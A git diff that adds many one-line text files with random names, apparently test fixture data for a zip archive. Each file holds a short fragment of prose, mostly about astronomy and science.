new file mode 100644
index 0000000..1dfa56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_xjpnskyzlxiahsab.txt
@@ -0,0 +1 @@
+understand it, even if our hopes for some unearned preferential status are, in the process,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/hshhbjgziwuwlsqs.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/hshhbjgziwuwlsqs.txt
new file mode 100644
index 0000000..b11c677
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/hshhbjgziwuwlsqs.txt
@@ -0,0 +1 @@
+and helium gas, glowing because of its high temperatures, in the same way that a poker
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/iefeoalhuue.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/iefeoalhuue.txt
new file mode 100644
index 0000000..3c75fb8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/iefeoalhuue.txt
@@ -0,0 +1 @@
+circumstances, there are no planets - just a smattering of asteroids; or there may be Jovian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/jbgienxcbmbszuow.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/jbgienxcbmbszuow.txt
new file mode 100644
index 0000000..1fa6806
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/jbgienxcbmbszuow.txt
@@ -0,0 +1 @@
+the notion of privileged frames of reference in physics as much as he did in politics. In a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/jmbmbwdayfaqtpu.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/jmbmbwdayfaqtpu.txt
new file mode 100644
index 0000000..3f6af67
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/jmbmbwdayfaqtpu.txt
@@ -0,0 +1 @@
+beyond and speed outward to the stars. If it is headed that way, the signal will reach Alpha
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/llugolyznlabmvbt.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/llugolyznlabmvbt.txt
new file mode 100644
index 0000000..6ca3dc2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/llugolyznlabmvbt.txt
@@ -0,0 +1 @@
+adults teach the young. Play is a typical pastime. These are all mammalian characteristics,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/qiiribad.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/qiiribad.txt
new file mode 100644
index 0000000..353ab2c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/qiiribad.txt
@@ -0,0 +1 @@
+and ritualized behavior patterns are built deeply into us. They are part of our humanity. But
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/tltmlimntyyjpqhorl.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/tltmlimntyyjpqhorl.txt
new file mode 100644
index 0000000..9ac0b95
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/tltmlimntyyjpqhorl.txt
@@ -0,0 +1 @@
+expanding from a point, like a four-dimensional balloon being inflated, creating in every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/xjdazwqgwaqfxnzlxibf.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/xjdazwqgwaqfxnzlxibf.txt
new file mode 100644
index 0000000..0548ff0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/xjdazwqgwaqfxnzlxibf.txt
@@ -0,0 +1 @@
+may be listening. Most radar transmissions are for military purposes; they scan the skies in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/ylvshuga.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/ylvshuga.txt
new file mode 100644
index 0000000..0396404
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/ylvshuga.txt
@@ -0,0 +1 @@
+Some proposed explanations are listed. In Chapter 10 we wonder whether there is enough
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_brwwtkysylw.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_brwwtkysylw.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_brwwtkysylw.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_eogahnmitkacuhb.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_eogahnmitkacuhb.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_eogahnmitkacuhb.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_lcnemwavgi.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_lcnemwavgi.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_lcnemwavgi.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_mehogkbutdqgexidqadofv.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_mehogkbutdqgexidqadofv.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_mehogkbutdqgexidqadofv.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_nhilgkmgwa.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_nhilgkmgwa.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_nhilgkmgwa.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_qhndtafglcetdlunxmfk.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_qhndtafglcetdlunxmfk.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_qhndtafglcetdlunxmfk.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_qyjoaadlqnhwklxnnz.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_qyjoaadlqnhwklxnnz.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_qyjoaadlqnhwklxnnz.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_rulcyftm.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_rulcyftm.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_rulcyftm.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_swvodgkgxfnxdyscxuvnfta.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_swvodgkgxfnxdyscxuvnfta.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_swvodgkgxfnxdyscxuvnfta.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_uiscqpojvjkbcyqptrcmmtr.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_uiscqpojvjkbcyqptrcmmtr.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_uiscqpojvjkbcyqptrcmmtr.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_vhkrxmuelqrflv.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_vhkrxmuelqrflv.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_vhkrxmuelqrflv.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_wyrfezuoo.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_wyrfezuoo.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_wyrfezuoo.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/file_yfocjlpuvparrtja.txt b/big_zip/big-zip-files/folder_xmhgnljztz/file_yfocjlpuvparrtja.txt
new file mode 100644
index 0000000..1c1f71a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/file_yfocjlpuvparrtja.txt
@@ -0,0 +1 @@
+thrown on the ground about three sajenes away from the porch and for a moment I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/acqeojcs.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/acqeojcs.txt
new file mode 100644
index 0000000..0e3af28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/acqeojcs.txt
@@ -0,0 +1 @@
+therefore, naturally leads us to consider our present state as only the dawn or
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/clmeoqlbbnctlgsjlno.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/clmeoqlbbnctlgsjlno.txt
new file mode 100644
index 0000000..ddb6cd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/clmeoqlbbnctlgsjlno.txt
@@ -0,0 +1 @@
+history. It then became clear that we could venture to all parts of our planet. Plucky sailing
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/clzgbletbuuoqghghx.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/clzgbletbuuoqghghx.txt
new file mode 100644
index 0000000..46f8f08
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/clzgbletbuuoqghghx.txt
@@ -0,0 +1 @@
+composed of billions of stars. The gas and dust diffusely spread through such galaxies will
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/crfymvzxvvhezzvponopwh.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/crfymvzxvvhezzvponopwh.txt
new file mode 100644
index 0000000..d225e68
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/crfymvzxvvhezzvponopwh.txt
@@ -0,0 +1 @@
+and, if there is a vast supercluster in the Virgo group, perhaps there are other such
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/cvtccupxvpixg.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/cvtccupxvpixg.txt
new file mode 100644
index 0000000..3e13552
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/cvtccupxvpixg.txt
@@ -0,0 +1 @@
+extremely unlikely that anything closely resembling a human being would ever again
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/dnwlnvwbebkohjppbcyh.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/dnwlnvwbebkohjppbcyh.txt
new file mode 100644
index 0000000..c735ed9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/dnwlnvwbebkohjppbcyh.txt
@@ -0,0 +1 @@
+thousand times more sensitive (per equivalent carbon atom) than the Viking chemistry
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/ebszfsrzdtgcgpljawjusxk.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/ebszfsrzdtgcgpljawjusxk.txt
new file mode 100644
index 0000000..deba630
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/ebszfsrzdtgcgpljawjusxk.txt
@@ -0,0 +1 @@
+kilometers the long way round the Sun, each orbiter/lander combination was inserted into
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/emrhhyzgetqbhuxlbcv.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/emrhhyzgetqbhuxlbcv.txt
new file mode 100644
index 0000000..236a2f7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/emrhhyzgetqbhuxlbcv.txt
@@ -0,0 +1 @@
+investigation, nearly a hundred of them, would be orbiting about, paying homage to, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_covjbibkplsh.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_covjbibkplsh.txt
new file mode 100644
index 0000000..b47b2b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_covjbibkplsh.txt
@@ -0,0 +1 @@
+inhabitants. A few of them resemble beings we know. Others are bizarre beyond our most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_dwfdxayrmrxgdzs.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_dwfdxayrmrxgdzs.txt
new file mode 100644
index 0000000..b47b2b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_dwfdxayrmrxgdzs.txt
@@ -0,0 +1 @@
+inhabitants. A few of them resemble beings we know. Others are bizarre beyond our most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_hzbbpyqvyunptfk.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_hzbbpyqvyunptfk.txt
new file mode 100644
index 0000000..b47b2b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_hzbbpyqvyunptfk.txt
@@ -0,0 +1 @@
+inhabitants. A few of them resemble beings we know. Others are bizarre beyond our most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_jkujetgnojkcsrqdx.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_jkujetgnojkcsrqdx.txt
new file mode 100644
index 0000000..b47b2b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_jkujetgnojkcsrqdx.txt
@@ -0,0 +1 @@
+inhabitants. A few of them resemble beings we know. Others are bizarre beyond our most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_lkrbwjufngtwtbtbpja.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_lkrbwjufngtwtbtbpja.txt
new file mode 100644
index 0000000..b47b2b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_lkrbwjufngtwtbtbpja.txt
@@ -0,0 +1 @@
+inhabitants. A few of them resemble beings we know. Others are bizarre beyond our most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_lnamzyqlmkbwy.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_lnamzyqlmkbwy.txt
new file mode 100644
index 0000000..b47b2b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_lnamzyqlmkbwy.txt
@@ -0,0 +1 @@
+inhabitants. A few of them resemble beings we know. Others are bizarre beyond our most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_mubwpfbnxvnrxtluquy.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_mubwpfbnxvnrxtluquy.txt
new file mode 100644
index 0000000..b47b2b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_mubwpfbnxvnrxtluquy.txt
@@ -0,0 +1 @@
+inhabitants. A few of them resemble beings we know. Others are bizarre beyond our most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_ncfvenzocnpgwiiklrlzlhh.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_ncfvenzocnpgwiiklrlzlhh.txt
new file mode 100644
index 0000000..b47b2b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_ncfvenzocnpgwiiklrlzlhh.txt
@@ -0,0 +1 @@
+inhabitants. A few of them resemble beings we know. Others are bizarre beyond our most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_rwbkadialwxyyxgauerp.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_rwbkadialwxyyxgauerp.txt
new file mode 100644
index 0000000..b47b2b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_rwbkadialwxyyxgauerp.txt
@@ -0,0 +1 @@
+inhabitants. A few of them resemble beings we know. Others are bizarre beyond our most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_tytagfsy.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_tytagfsy.txt
new file mode 100644
index 0000000..b47b2b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_tytagfsy.txt
@@ -0,0 +1 @@
+inhabitants. A few of them resemble beings we know. Others are bizarre beyond our most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_vdmrlidrdussajfmxnman.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_vdmrlidrdussajfmxnman.txt
new file mode 100644
index 0000000..b47b2b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_vdmrlidrdussajfmxnman.txt
@@ -0,0 +1 @@
+inhabitants. A few of them resemble beings we know. Others are bizarre beyond our most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_wgctlmnjjqlprqmadhaq.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_wgctlmnjjqlprqmadhaq.txt
new file mode 100644
index 0000000..b47b2b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/file_wgctlmnjjqlprqmadhaq.txt
@@ -0,0 +1 @@
+inhabitants. A few of them resemble beings we know. Others are bizarre beyond our most
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/gfknycffkdimnuezrj.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/gfknycffkdimnuezrj.txt
new file mode 100644
index 0000000..52ba3c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/gfknycffkdimnuezrj.txt
@@ -0,0 +1 @@
+Muller switched on the overhead light and smiled benignly. It was an old story.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/hduyirrj.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/hduyirrj.txt
new file mode 100644
index 0000000..1f740a0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/hduyirrj.txt
@@ -0,0 +1 @@
+more than the amino acids that make up its proteins and the nucleotides that make up its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/iwqxposcrqxx.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/iwqxposcrqxx.txt
new file mode 100644
index 0000000..ebdf152
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/iwqxposcrqxx.txt
@@ -0,0 +1 @@
+The Dutch East India Company, a joint governmental and private enterprise, sent
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/kuujggrharfpdladhesejvas.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/kuujggrharfpdladhesejvas.txt
new file mode 100644
index 0000000..84995ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/kuujggrharfpdladhesejvas.txt
@@ -0,0 +1 @@
+the actions of others, even those residing in less fanatically doctrinal parts of Europe. For example, in a letter
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/nzkfgymwxfkfzudfhntdzslu.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/nzkfgymwxfkfzudfhntdzslu.txt
new file mode 100644
index 0000000..4f3fe96
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/nzkfgymwxfkfzudfhntdzslu.txt
@@ -0,0 +1 @@
+near the velocity of light we cannot simply add speeds, as we are used to doing in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/oyxfuntylfidxq.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/oyxfuntylfidxq.txt
new file mode 100644
index 0000000..099ef0f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/oyxfuntylfidxq.txt
@@ -0,0 +1 @@
+eyeball, pouring through an interposed Earth which is as transparent to neutrinos as a pane
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/phgaoqjojylxmtnsnhkl.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/phgaoqjojylxmtnsnhkl.txt
new file mode 100644
index 0000000..b3258e6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/phgaoqjojylxmtnsnhkl.txt
@@ -0,0 +1 @@
+ultraviolet flux. (The low temperatures do not pose an insuperable obstacle, as the year-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/qazmvlmzicdvzfgr.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/qazmvlmzicdvzfgr.txt
new file mode 100644
index 0000000..efc618d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/qazmvlmzicdvzfgr.txt
@@ -0,0 +1 @@
+the spring of the year 196 B.C. On this occasion the king released political prisoners,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/qhwyjohqiynikcsfdzdzytsg.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/qhwyjohqiynikcsfdzdzytsg.txt
new file mode 100644
index 0000000..469be6e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/qhwyjohqiynikcsfdzdzytsg.txt
@@ -0,0 +1 @@
+Earth orbit from where they are launched on their long interstellar journeys. One of them
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/qyccvfdnp.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/qyccvfdnp.txt
new file mode 100644
index 0000000..cbcff90
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/qyccvfdnp.txt
@@ -0,0 +1 @@
+carvings.’ Some scholars had believed them to be a kind of picture code, rich in murky
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/yqazethpdpcmsybvymtmn.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/yqazethpdpcmsybvymtmn.txt
new file mode 100644
index 0000000..40892a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/yqazethpdpcmsybvymtmn.txt
@@ -0,0 +1 @@
+the famous Michelson-Morley experiment demonstrated that such an aether does not exist.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/zmjroyjb.txt b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/zmjroyjb.txt
new file mode 100644
index 0000000..9d4dac1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xmhgnljztz/folder_aeufdsdtoj/zmjroyjb.txt
@@ -0,0 +1 @@
+mutual orbits. Collisions among the asteroids happen frequently, and occasionally a piece is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_brtqceqjbmiwkfoblzuomsa.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_brtqceqjbmiwkfoblzuomsa.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_brtqceqjbmiwkfoblzuomsa.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_cgdzkroqgddpohtqvbj.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_cgdzkroqgddpohtqvbj.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_cgdzkroqgddpohtqvbj.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_cnuchslgailxkivncewpgf.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_cnuchslgailxkivncewpgf.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_cnuchslgailxkivncewpgf.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
